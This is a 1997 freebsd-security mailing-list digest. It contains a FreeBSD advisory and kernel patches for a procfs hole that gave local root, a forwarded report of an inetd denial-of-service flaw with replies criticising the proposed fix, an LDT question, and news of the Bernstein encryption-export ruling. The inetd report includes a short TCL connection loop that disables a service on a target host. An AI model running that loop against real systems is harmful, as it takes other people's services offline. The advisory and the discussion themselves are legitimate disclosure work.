From owner-freebsd-security Tue Aug 26 11:04:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA26324 for security-outgoing; Tue, 26 Aug 1997 11:04:10 -0700 (PDT) Received: from gvr.gvr.org (root@gvr.gvr.org [194.151.74.97]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA26265; Tue, 26 Aug 1997 11:03:48 -0700 (PDT) Received: (from guido@localhost) by gvr.gvr.org (8.8.6/8.8.5) id UAA00666; Tue, 26 Aug 1997 20:03:19 +0200 (MET DST) Message-Id: <199708261803.UAA00666@gvr.gvr.org> From: FreeBSD Security Officer To: freebsd-security-notifications@FreeBSD.ORG, freebsd-announce@FreeBSD.ORG, freebsd-security@FreeBSD.ORG, first-teams@first.org Subject: FreeBSD Security Advisory: FreeBSD-SA-97:04.procfs Date: Mon, 26 Aug 1997 20:01:00 +0200 (MET DST) Reply-To: security-officer@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= FreeBSD-SA-97:04 Security Advisory FreeBSD, Inc. Topic: security compromise via procfs Category: core Module: procfs Announced: 1997-08-19 Affects: FreeBSD 2.1.*, FreeBSD 2.2.*, FreeBSD-stable and FreeBSD-current before 1997/08/12 suffer from this problem. Corrected: FreeBSD-current as of 1997/08/12 FreeBSD-stable as of 1997/08/12 FreeBSD 2.1-stable as of 1997/08/25 FreeBSD only: no (also other BSD systems may be affected) Patches: ftp://freebsd.org/pub/CERT/patches/SA-97:04/ ============================================================================= I. Background Procfs provides a filesystem interface to processes on a system. Among others it is used by ps(1) and gdb(1). II. Problem Description A problem exists in the procfs kernel code that allows processes to write memory of other processes where it should have been prohibited. III. Impact The hole can be used by any user on the system to gain root privileges. IV. Workaround A workaround is to disable the mounting of procfs. To achieve this, edit the file /etc/fstab and put a '#' in front of the line proc /proc procfs rw 0 0 Note that when you do that, some utilities may either not work anymore or have a limited functionality. V. Solution Apply one of the following patches in /usr/src/sys/miscfs/procfs, rebuild your kernel, install it and reboot your system. For 2.1 and 2.2 systems: Index: procfs_regs.c =================================================================== RCS file: /home/cvsup/freebsd/CVS/src/sys/miscfs/procfs/procfs_regs.c,v retrieving revision 1.3 retrieving revision 1.3.4.1 diff -u -r1.3 -r1.3.4.1 --- procfs_regs.c 1996/01/24 18:41:25 1.3 +++ procfs_regs.c 1997/08/12 04:45:25 1.3.4.1 @@ -36,7 +36,7 @@ * * @(#)procfs_regs.c 8.3 (Berkeley) 1/27/94 * - * $Id: procfs_regs.c,v 1.3 1996/01/24 18:41:25 peter Exp $ + * $Id: procfs_regs.c,v 1.3.4.1 1997/08/12 04:45:25 sef Exp $ */ #include @@ -62,6 +62,8 @@ char *kv; int kl; + if (!CHECKIO(curp, p)) + return EPERM; kl = sizeof(r); kv = (char *) &r; Index: procfs.h =================================================================== RCS file: /home/cvsup/freebsd/CVS/src/sys/miscfs/procfs/procfs.h,v retrieving revision 1.12 retrieving revision 1.12.2.1 diff -u -r1.12 -r1.12.2.1 --- procfs.h 1996/07/02 13:38:07 1.12 +++ procfs.h 1997/08/12 04:45:20 1.12.2.1 @@ -36,7 +36,7 @@ * * @(#)procfs.h 8.6 (Berkeley) 2/3/94 * - * $Id: procfs.h,v 1.12 1996/07/02 13:38:07 dyson Exp $ + * $Id: procfs.h,v 1.12.2.1 1997/08/12 04:45:20 sef Exp $ */ /* @@ -83,6 +83,18 @@ (bcmp((s), (cnp)->cn_nameptr, (len)) == 0)) #define KMEM_GROUP 2 + +/* + * Check to see whether access to target process is allowed + * Evaluates to 1 if access is allowed. + */ +#define CHECKIO(p1, p2) \ + ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \ + ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \ + ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \ + ((p2)->p_flag & P_SUGID) == 0) || \ + (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0)) + /* * Format of a directory entry in /proc, ... * This must map onto struct dirent (see ) Index: procfs_mem.c =================================================================== RCS file: /home/cvsup/freebsd/CVS/src/sys/miscfs/procfs/procfs_mem.c,v retrieving revision 1.20 retrieving revision 1.20.2.1 diff -u -r1.20 -r1.20.2.1 --- procfs_mem.c 1996/10/24 02:47:05 1.20 +++ procfs_mem.c 1997/08/12 04:45:23 1.20.2.1 @@ -37,7 +37,7 @@ * * @(#)procfs_mem.c 8.4 (Berkeley) 1/21/94 * - * $Id: procfs_mem.c,v 1.20 1996/10/24 02:47:05 dyson Exp $ + * $Id: procfs_mem.c,v 1.20.2.1 1997/08/12 04:45:23 sef Exp $ */ /* @@ -300,6 +300,23 @@ if (uio->uio_resid == 0) return (0); + /* + * XXX + * We need to check for KMEM_GROUP because ps is sgid kmem; + * not allowing it here causes ps to not work properly. Arguably, + * this is a bug with what ps does. We only need to do this + * for Pmem nodes, and only if it's reading. This is still not + * good, as it may still be possible to grab illicit data if + * a process somehow gets to be KMEM_GROUP. Note that this also + * means that KMEM_GROUP can't change without editing procfs.h! + * All in all, quite yucky. + */ + + if (!CHECKIO(curp, p) && + !(curp->p_cred->pc_ucred->cr_gid == KMEM_GROUP && + uio->uio_rw == UIO_READ)) + return EPERM; + error = procfs_rwmem(p, uio); return (error); Index: procfs_vnops.c =================================================================== RCS file: /home/cvsup/freebsd/CVS/src/sys/miscfs/procfs/procfs_vnops.c,v retrieving revision 1.24 retrieving revision 1.24.2.1 diff -u -r1.24 -r1.24.2.1 --- procfs_vnops.c 1996/09/03 14:23:10 1.24 +++ procfs_vnops.c 1997/08/12 04:45:27 1.24.2.1 @@ -36,7 +36,7 @@ * * @(#)procfs_vnops.c 8.6 (Berkeley) 2/7/94 * - * $Id: procfs_vnops.c,v 1.24 1996/09/03 14:23:10 bde Exp $ + * $Id: procfs_vnops.c,v 1.24.2.1 1997/08/12 04:45:27 sef Exp $ */ /* @@ -120,16 +120,21 @@ struct vop_open_args *ap; { struct pfsnode *pfs = VTOPFS(ap->a_vp); + struct proc *p1 = ap->a_p, *p2 = PFIND(pfs->pfs_pid); + + if (p2 == NULL) + return ENOENT; switch (pfs->pfs_type) { case Pmem: - if (PFIND(pfs->pfs_pid) == 0) - return (ENOENT); /* was ESRCH, jsp */ - if (((pfs->pfs_flags & FWRITE) && (ap->a_mode & O_EXCL)) || ((pfs->pfs_flags & O_EXCL) && (ap->a_mode & FWRITE))) return (EBUSY); + if (!CHECKIO(p1, p2) && + (p1->p_cred->pc_ucred->cr_gid != KMEM_GROUP)) + return EPERM; + if (ap->a_mode & FWRITE) pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL); @@ -176,7 +181,6 @@ procfs_ioctl(ap) struct vop_ioctl_args *ap; { - return (ENOTTY); } Index: procfs_fpregs.c =================================================================== RCS file: /home/cvsup/freebsd/CVS/src/sys/miscfs/procfs/procfs_fpregs.c,v retrieving revision 1.3 retrieving revision 1.3.4.1 diff -u -r1.3 -r1.3.4.1 --- procfs_fpregs.c 1996/01/24 18:40:56 1.3 +++ procfs_fpregs.c 1997/08/12 05:24:20 1.3.4.1 @@ -36,7 +36,7 @@ * * @(#)procfs_fpregs.c 8.1 (Berkeley) 1/27/94 * - * $Id: procfs_fpregs.c,v 1.3 1996/01/24 18:40:56 peter Exp $ + * $Id: procfs_fpregs.c,v 1.3.4.1 1997/08/12 05:24:20 sef Exp $ */ #include @@ -62,6 +62,8 @@ char *kv; int kl; + if (!CHECKIO(curp, p)) + return EPERM; kl = sizeof(r); kv = (char *) &r; For FreeBSd-current systems: Index: procfs_regs.c =================================================================== RCS file: /home/cvsup/freebsd/CVS/src/sys/miscfs/procfs/procfs_regs.c,v retrieving revision 1.7 retrieving revision 1.8 diff -u -r1.7 -r1.8 --- procfs_regs.c 1997/08/02 14:32:16 1.7 +++ procfs_regs.c 1997/08/12 04:34:29 1.8 @@ -37,7 +37,7 @@ * @(#)procfs_regs.c 8.4 (Berkeley) 6/15/94 * * From: - * $Id: procfs_regs.c,v 1.7 1997/08/02 14:32:16 bde Exp $ + * $Id: procfs_regs.c,v 1.8 1997/08/12 04:34:29 sef Exp $ */ #include @@ -60,6 +60,8 @@ char *kv; int kl; + if (!CHECKIO(curp, p)) + return EPERM; kl = sizeof(r); kv = (char *) &r; Index: procfs.h =================================================================== RCS file: /home/cvsup/freebsd/CVS/src/sys/miscfs/procfs/procfs.h,v retrieving revision 1.15 retrieving revision 1.16 diff -u -r1.15 -r1.16 --- procfs.h 1997/02/22 09:40:26 1.15 +++ procfs.h 1997/08/12 04:34:27 1.16 @@ -37,7 +37,7 @@ * @(#)procfs.h 8.9 (Berkeley) 5/14/95 * * From: - * $Id: procfs.h,v 1.15 1997/02/22 09:40:26 peter Exp $ + * $Id: procfs.h,v 1.16 1997/08/12 04:34:27 sef Exp $ */ /* @@ -85,6 +85,18 @@ (bcmp((s), (cnp)->cn_nameptr, (len)) == 0)) #define KMEM_GROUP 2 + +/* + * Check to see whether access to target process is allowed + * Evaluates to 1 if access is allowed. + */ +#define CHECKIO(p1, p2) \ + ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \ + ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \ + ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \ + ((p2)->p_flag & P_SUGID) == 0) || \ + (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0)) + /* * Format of a directory entry in /proc, ... * This must map onto struct dirent (see ) Index: procfs_mem.c =================================================================== RCS file: /home/cvsup/freebsd/CVS/src/sys/miscfs/procfs/procfs_mem.c,v retrieving revision 1.26 retrieving revision 1.27 diff -u -r1.26 -r1.27 --- procfs_mem.c 1997/08/02 14:32:14 1.26 +++ procfs_mem.c 1997/08/12 04:34:28 1.27 @@ -37,7 +37,7 @@ * * @(#)procfs_mem.c 8.5 (Berkeley) 6/15/94 * - * $Id: procfs_mem.c,v 1.26 1997/08/02 14:32:14 bde Exp $ + * $Id: procfs_mem.c,v 1.27 1997/08/12 04:34:28 sef Exp $ */ /* @@ -276,6 +276,23 @@ if (uio->uio_resid == 0) return (0); + + /* + * XXX + * We need to check for KMEM_GROUP because ps is sgid kmem; + * not allowing it here causes ps to not work properly. Arguably, + * this is a bug with what ps does. We only need to do this + * for Pmem nodes, and only if it's reading. This is still not + * good, as it may still be possible to grab illicit data if + * a process somehow gets to be KMEM_GROUP. Note that this also + * means that KMEM_GROUP can't change without editing procfs.h! + * All in all, quite yucky. + */ + + if (!CHECKIO(curp, p) && + !(curp->p_cred->pc_ucred->cr_gid == KMEM_GROUP && + uio->uio_rw == UIO_READ)) + return EPERM; return (procfs_rwmem(p, uio)); } Index: procfs_vnops.c =================================================================== RCS file: /home/cvsup/freebsd/CVS/src/sys/miscfs/procfs/procfs_vnops.c,v retrieving revision 1.30 retrieving revision 1.31 diff -u -r1.30 -r1.31 --- procfs_vnops.c 1997/08/02 14:32:20 1.30 +++ procfs_vnops.c 1997/08/12 04:34:30 1.31 @@ -36,7 +36,7 @@ * * @(#)procfs_vnops.c 8.18 (Berkeley) 5/21/95 * - * $Id: procfs_vnops.c,v 1.30 1997/08/02 14:32:20 bde Exp $ + * $Id: procfs_vnops.c,v 1.31 1997/08/12 04:34:30 sef Exp $ */ /* @@ -127,16 +127,21 @@ } */ *ap; { struct pfsnode *pfs = VTOPFS(ap->a_vp); + struct proc *p1 = ap->a_p, *p2 = PFIND(pfs->pfs_pid); + + if (p2 == NULL) + return ENOENT; switch (pfs->pfs_type) { case Pmem: - if (PFIND(pfs->pfs_pid) == 0) - return (ENOENT); /* was ESRCH, jsp */ - if ((pfs->pfs_flags & FWRITE) && (ap->a_mode & O_EXCL) || (pfs->pfs_flags & O_EXCL) && (ap->a_mode & FWRITE)) return (EBUSY); + if (!CHECKIO(p1, p2) && + (p1->p_cred->pc_ucred->cr_gid != KMEM_GROUP)) + return EPERM; + if (ap->a_mode & FWRITE) pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL); @@ -194,7 +199,6 @@ struct proc *a_p; } */ *ap; { - return (ENOTTY); } Index: procfs_fpregs.c =================================================================== RCS file: /home/cvsup/freebsd/CVS/src/sys/miscfs/procfs/procfs_fpregs.c,v retrieving revision 1.7 retrieving revision 1.8 diff -u -r1.7 -r1.8 --- procfs_fpregs.c 1997/08/02 14:32:11 1.7 +++ procfs_fpregs.c 1997/08/12 05:23:51 1.8 @@ -37,7 +37,7 @@ * @(#)procfs_fpregs.c 8.2 (Berkeley) 6/15/94 * * From: - * $Id: procfs_fpregs.c,v 1.7 1997/08/02 14:32:11 bde Exp $ + * $Id: procfs_fpregs.c,v 1.8 1997/08/12 05:23:51 sef Exp $ */ #include @@ -60,6 +60,8 @@ char *kv; int kl; + if (!CHECKIO(curp, p)) + return EPERM; kl = sizeof(r); kv = (char *) &r; (These patches can also be found on ftp://freebsd.org/pub/CERT/patches/SA-97:04/) VI. Thanks This problem was brought to light by Brian Mitchell ============================================================================= FreeBSD, Inc. Web Site: http://www.freebsd.org/ Confidential contacts: security-officer@freebsd.org PGP Key: ftp://freebsd.org/pub/CERT/public_key.asc Security notifications: security-notifications@freebsd.org Security public discussion: security@freebsd.org Notice: Any patches in this document may not apply cleanly due to modifications caused by digital signature or mailer software. Please reference the URL listed at the top of this document for original copies of all patches if necessary. ============================================================================= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNAMWLFUuHi5z0oilAQHmrQQAoXR/BUliLCJgtDx/tG4lSNMpY2+wYWtw PNiPjLfHHbA2yOXoJxv5ANw0Z6zeovCP1rHTKbG0vGNQe45d34kC+qY1hSKhYxjV BGeEKzCUyfGn0ovrfWjmW6FL3n2Kq76yJbhR5tiev5vaM9+kvWKs8aK5c1maAEOv PxYm/nzJg04= =aC0v -----END PGP SIGNATURE----- From owner-freebsd-security Tue Aug 26 18:59:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA25170 for security-outgoing; Tue, 26 Aug 1997 18:59:15 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id SAA25143 for ; Tue, 26 Aug 1997 18:59:04 -0700 (PDT) Received: (qmail 7031 invoked by uid 1000); 27 Aug 1997 01:59:21 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Resent-Date: Tue, 26 Aug 1997 14:51:54 -0400 Resent-Message-Id: <199708261851.OAA04649@tobit.hwaci.vnet.net> Resent-From: "D. Richard Hipp" Resent-To: support@caldera.com Date: Tue, 26 Aug 1997 18:59:21 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: freebsd-security@freebsd.org Subject: FW: Denial-of-service attack against INETD. Redhat 4.X and othe Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Have you guys seen, or care about that? From: "D. Richard Hipp" To: support@caldera.com, security@debian.org, dholland@hcs.harvard.edu, cert@cert.org, bugs@redhat.com Subject: Denial-of-service attack against INETD. Redhat 4.X and others... Cc: bwarren@cti-ltd.com -----BEGIN PGP SIGNED MESSAGE----- Gentle People, I recently discovered a problem with the "inetd" running on RedHat Linux version 4.x that makes all services launched from inetd vulnerable to a denial-of-service attack. I obtained a copy of the inetd source code, made changes to fix the problem, and am hereby releasing those changes back to the public. Note that I have only observed this problem in RedHat 4.X because that is all that I run at my site. However the source code that I changed is generic BSD code from the 1980s. I suspect that other Linux distributions, and other Unix systems, are running the same version of inetd and suffer from the same problem. The following TCL script illustrates the denial-of-service attack that my changes are intended to address: for {set i 0} {$i<100} {incr i} { set s [socket 127.0.0.1 23] close $s } Executing the above script will cause "telnet" service on the local host to be shutdown for 10 minutes. It is a simple matter to attack other services or hosts by changing the TCP port number or IP address. This attack originates from a "misfeature" of inetd. (I call the problem a "misfeature" rather than a "bug" since someone went to a lot of trouble to put it in.) If more than a given number (default 40) of requests for a service arrive within a 60 second interval, that service is shutdown. The listening socket is closed. Attempts to use that service will result in a "Connection refused" error message. The service remains off for 10 minutes. A system administrator can increase the turn-off threshold to a larger value (by adjusting the "max" parameter in /etc/inetd.conf), but the mechanism cannot be completely disabled. I have implemented changes to the inetd program that address this problem, as follows: The program still limits the number of services that will be launched within a 60 second window, but it does so by refusing to "accept()" new connections too rapidly. The listening socket is never closed, and users never get a "Connection refused" error. They just see a slower response. For the default value of 40 services/second, inetd will now wait 1500 milliseconds after doing an accept() before doing another accept() on that same service. All services are handled independently, so an accept() for "ftp" will not impede a subsequence accept() calls on "telnet", for example. Furthermore, the throttling mechanism can be completely disabled by setting the "max" parameter to "0" in /etc/inetd.conf. In the course of making this change, I discovered and fixed another small problem with inetd. It used to be that inetd would sleep (ignoring all connection attempts) for one second after receiving any signal. This effectivelly limited the number of services that inetd can launch to less than 1 per second, since inetd gets a SIGCHLD signal for every service launched. One other change: it used to be that if bind() fields when setting up a socket, inetd would wait 10 minutes before trying again. I lowered this value to 10 seconds. The source code that I modified was obtained from the NetKit-B-0.08 package. All of my changes are restricted to the inetd subdirectory of that package. A copy of my revisions can be obtained from http://users.vnet.net/drh/inetd.fix.tar.gz The md5sum for this archive is e2f1ab88af8aaa5524de683c149b39f6. I have made no attempt to repackage these changes back into NetKit-B-0.08 or to reassemble them back into the RPM from which I obtained them. My hope is that these steps will be undertaken by someone who knows better than I how such things are done. D. Richard Hipp Charlotte Aug 16, 1997. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNAMlLjM03TfL2vVNAQEaggP/XrAkNF7d/h0IGRomRfrl8/68qXG/hWjY DjgDH5npl8SSvCInf2wxk17JErp7/+bLTuNl5c8fLdJ43fRHYlMG/5CGxCzUzmQg tOa3qEQ2i/pbzosegUX/XvQNkuhZ1GkyFZX1IOl8AgisqnaMTCzweFarCZdIB+tB Rd9eKurA+Ro= =Kg9I -----END PGP SIGNATURE----- -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to debian-private-request@lists.debian.org . Trouble? e-mail to templin@bucknell.edu . --------------End of forwarded message------------------------- --- Sincerely Yours, (Sent on 26-Aug-97, 18:40:48 by XF-Mail) Simon Shapiro i-Connect.Net, a Division of iConnect Corp. Director of Technology 14355 SW Allen Blvd., Suite 140 Beaverton OR 97008 Shimon@i-Connect.Net Voice: 503.677.2900, Emergency: 503.799-2313 From owner-freebsd-security Tue Aug 26 20:32:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA01742 for security-outgoing; Tue, 26 Aug 1997 20:32:17 -0700 (PDT) Received: from goliath.camtech.com.au (goliath.camtech.net.au [203.5.73.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA01716 for ; Tue, 26 Aug 1997 20:32:07 -0700 (PDT) Received: from sebastion.sa.camtech.com.au (sebastion.sa.camtech.com.au [203.28.3.2]) by goliath.camtech.com.au (8.8.5/8.8.2) with ESMTP id NAA11052; Wed, 27 Aug 1997 13:01:39 +0930 (CST) Received: (from uucp@localhost) by sebastion.sa.camtech.com.au (8.6.10/8.6.10) id NAA17531; Wed, 27 Aug 1997 13:01:57 +0930 Received: from frenzy(192.168.4.65) by sebastion via smap (V1.3) id sma017506; Wed Aug 27 13:01:27 1997 Received: by communica.com.au (4.1/SMI-4.1) id AA12076; Wed, 27 Aug 97 12:56:26 CST From: newton@communica.com.au (Mark Newton) Message-Id: <9708270326.AA12076@communica.com.au> Subject: Re: FW: Denial-of-service attack against INETD. Redhat 4.X and othe To: Shimon@i-Connect.Net (Simon Shapiro) Date: Wed, 27 Aug 1997 12:56:26 +0930 (CST) Cc: freebsd-security@FreeBSD.ORG In-Reply-To: from "Simon Shapiro" at Aug 26, 97 06:59:21 pm X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Simon Shapiro wrote: > Have you guys seen, or care about that? Richard Hipp continues: [ snipt ... too many service invocations in a 60 second period ... ] > I have implemented changes to the inetd program that address this > problem, as follows: The program still limits the number of services > that will be launched within a 60 second window, but it does so by > refusing to "accept()" new connections too rapidly. The listening > socket is never closed, and users never get a "Connection refused" > error. They just see a slower response. For the default value of > 40 services/second, inetd will now wait 1500 milliseconds after > doing an accept() before doing another accept() on that same service. Blurgh. Pity the poor sysadmin who runs httpd out of inetd. Anyway, this doesn't fix the problem: it makes it worse. The connection queue on the accept()ing socket will still impose a limitation on the maximum number of outstanding (i.e.: un-accept()ed) connections. If the rate of connection attempts exceeds 1 per 1.5 seconds then that outstanding connection queue will grow up to the maximum length given in the previous listen() call. Once that hard limit has been reached, subsequent connection attempts will fail with ECONNREFUSED, exactly the same as the error the poster was attempting to avoid. What kind of weenie posts a long rambling message to CERT about a denial of service issue that's documented for all to see in the manpage anyway? > All services are handled independently, so an accept() for "ftp" will > not impede a subsequence accept() calls on "telnet", for example. > Furthermore, the throttling mechanism can be completely disabled by > setting the "max" parameter to "0" in /etc/inetd.conf. That'd be step one for me if these changes were ever committed :-) > In the course of making this change, I discovered and fixed another > small problem with inetd. It used to be that inetd would sleep > (ignoring all connection attempts) for one second after receiving > any signal. This effectivelly limited the number of services that > inetd can launch to less than 1 per second, since inetd gets a > SIGCHLD signal for every service launched. Eh? inetd sleeps in two places: One of them is when a fork() fails. The other is when the select() that's used to detect incoming connections fails (i.e.: returns <= 0). What has Linux done to their inetd? :-) > One other change: it used to be that if bind() fields when setting > up a socket, inetd would wait 10 minutes before trying again. I > lowered this value to 10 seconds. If bind() fails it usually indicates the kind of savage resource shortage that perfectly justifies backing off for ten minutes or so. To reduce this back-off to ten seconds introduces the possibility that inetd can actually contribute to Denial Of Service problems by compounding existing resource shortages. [ as was mentioned in alt.sysadmin.recovery recently: Has anyone ever noticed that there are two common expansions for the acronym "DOS", and they both mean the same thing? ] - mark --- Mark Newton Email: newton@communica.com.au Systems Engineer and Senior Trainer Phone: +61-8-8303-3300 Communica Systems, a member of the Fax: +61-8-8303-4403 CAMTECH group of companies WWW: http://www.communica.com.au From owner-freebsd-security Wed Aug 27 06:29:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA02936 for security-outgoing; Wed, 27 Aug 1997 06:29:43 -0700 (PDT) Received: from burgundy.eecs.harvard.edu (dholland@burgundy.eecs.harvard.edu [140.247.60.165]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA02929 for ; Wed, 27 Aug 1997 06:29:40 -0700 (PDT) Received: (from dholland@localhost) by burgundy.eecs.harvard.edu (8.8.5/8.8.5) id JAA00911; Wed, 27 Aug 1997 09:29:13 -0400 (EDT) From: David Holland Message-Id: <199708271329.JAA00911@burgundy.eecs.harvard.edu> Subject: Re: FW: Denial-of-service attack against INETD. Redhat 4.X and othe To: newton@communica.com.au (Mark Newton) Date: Wed, 27 Aug 1997 09:29:13 -0400 (EDT) Cc: Shimon@i-Connect.Net, freebsd-security@FreeBSD.ORG In-Reply-To: <9708270326.AA12076@communica.com.au> from "Mark Newton" at Aug 27, 97 12:56:26 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > What kind of weenie posts a long rambling message to CERT about a denial > of service issue that's documented for all to see in the manpage anyway? Don't ask me... > Eh? inetd sleeps in two places: One of them is when a fork() fails. > The other is when the select() that's used to detect incoming connections > fails (i.e.: returns <= 0). What has Linux done to their inetd? :-) Nothing. :-p I picked up the guy's "fixes", and it's a completely new version of inetd. Since he seems to have decided it was a good idea to reindent and reformat everything, I can't tell what he's done. I think he misunderstood the significance of the EINTR in if ((n = select(maxsock + 1, &readable, (fd_set *)0, (fd_set *)0, (struct timeval *)0)) <= 0) { if (n < 0 && errno != EINTR) syslog(LOG_WARNING, "select: %m\n"); sleep(1); continue; } However, he seems to have changed that sleep to a sleep(60). So I don't know what he's smoking. > > One other change: it used to be that if bind() fields when setting > > up a socket, inetd would wait 10 minutes before trying again. I > > lowered this value to 10 seconds. > > If bind() fails it usually indicates the kind of savage resource shortage > that perfectly justifies backing off for ten minutes or so. To reduce > this back-off to ten seconds introduces the possibility that inetd > can actually contribute to Denial Of Service problems by compounding > existing resource shortages. That, and the most common cause of this failure is accidentally running two inetds at once, so there's no point in hurrying to retry. -- - David A. Holland | VINO project home page: dholland@eecs.harvard.edu | http://www.eecs.harvard.edu/vino From owner-freebsd-security Wed Aug 27 15:16:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA13365 for security-outgoing; Wed, 27 Aug 1997 15:16:52 -0700 (PDT) Received: from uhf.wdc.net (uhf.wdc.net [198.147.74.44]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA13359 for ; Wed, 27 Aug 1997 15:16:47 -0700 (PDT) Received: from localhost (bad@localhost) by uhf.wdc.net (8.8.7/8.6.12) with SMTP id SAA14683 for ; Wed, 27 Aug 1997 18:24:24 -0400 (EDT) Date: Wed, 27 Aug 1997 18:24:23 -0400 (EDT) From: Bernie Doehner X-Sender: bad@uhf.wdc.net To: security@freebsd.org Subject: LDT? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi: Can someone please email me privately with the definition of LDT? I'd like to play with wine (windows emulator), but I dislike anything that gives control to user processes without my understanding the security implications. Thanks. Bernie From owner-freebsd-security Wed Aug 27 18:37:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA28137 for security-outgoing; Wed, 27 Aug 1997 18:37:12 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id SAA28056 for ; Wed, 27 Aug 1997 18:37:02 -0700 (PDT) Received: (qmail 2136 invoked by uid 1000); 28 Aug 1997 01:37:17 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Resent-Date: Tue, 26 Aug 1997 12:23:03 -0700 (PDT) Resent-Message-Id: <199708261923.MAA11338@gambit.punk.net> Resent-From: (Steve Roberts) Resent-To: linux-kernel@vger.rutgers.edu Date: Wed, 27 Aug 1997 18:37:17 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: freebsd-security@freebsd.org Subject: FW: [OFFTOPIC] US Encryption Rules Rejected Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Interesting, but I disagree with the commentary in the first line ;-) ----- Forwarded Message ----: <199708261923.MAA11338@gambit.punk.net>----- From: (Steve Roberts) To: linux-kernel@vger.rutgers.edu Subject: [OFFTOPIC] US Encryption Rules Rejected >>From another list I am on... looks like the U.S. may finally start not being stupid on encryption.... (we may even be able to have crypto in the kernel distibution soon...) Encryption rules rejected Judge says federal regulations barring unlicensed exports unconstitutional August 26, 1997: 6:15 a.m. ET SAN FRANCISCO (Reuter) - U.S. government regulations on the export of encryption software are unconstitutional, a federal judge ruled on Monday. U.S. District Judge Marilyn Hall Patel said licensing requirements for the export of encryption software and related devices were an unconstitutional prior restraint on First Amendment free speech rights. Patel also issued a permanent injunction barring the government from enforcing the regulations against plaintiff Daniel Bernstein or anyone who sought to use, discuss or publish his encryption program. Encryption involves running a readable message though a computer program that translates the message according to an equation or algorithm into unreadable "ciphertext." "By the very terms of the encryption regulations, the most common expressive activities of scholars -- teaching a class, publishing their ideas, speaking at conferences, or writing to colleagues over the Internet -- are subject to a prior restraint by the export controls ...," Patel wrote in a 32-page ruling released in San Francisco. Patel said that, having found the regulations to be invalid, she could have issued a nationwide injunction barring their enforcement. But she said she had kept the injunction as narrow as possible pending appeal because "the legal questions at issue are novel, complex and of public importance." The ruling is important because the computer industry sees use of encryption technology across country borders as essential for advancing electronic commerce and private communications over the Internet. The government has previously cited national security concerns over the export of encryption programs. As a graduate student, Bernstein developed an encryption algorithm he called "Snuffle." In 1992, Bernstein asked the State Department whether Snuffle was controlled by export regulations then in force which classified cryptographic software as "defense articles." The government told him his program was subject to licensing by the Department of State prior to export. Alleging that he was not free to teach, publish or discuss with other scientists his theories on cryptography embodied in the Snuffle program, Berstein sued the State Department in 1995, challenging the regulations on free speech grounds. Bernstein is now a research assistant professor of mathematics, statistics and computer science at the University of Illinois at Chicago. Patel ruled last December that the old regulations limiting the export of encryption software violated the First Amendment. But late last year, President Bill Clinton issued an executive order transfering jurisdiction over the export of nonmilitary encryption products to the Commerce Department. Patel's latest ruling was on Bernstein's amended lawsuit which included the new regulations and new defendants. Patel said that her finding that encryption source code was speech protected by the First Amendment did not remove encryption technology from all government regulation. Cindy Cohn, a lawyer for Bernstein, called the ruling a "very big victory" for free speech advocates. "This brings us a step closer to people being able to freely publish ideas about encryption," she said. A U.S. Justice Department lawyer who defended the regulations could not immediately be reached for comment. The government could appeal the ruling. --------------End of forwarded message------------------------- --- Sincerely Yours, (Sent on 27-Aug-97, 18:34:40 by XF-Mail) Simon Shapiro i-Connect.Net, a Division of 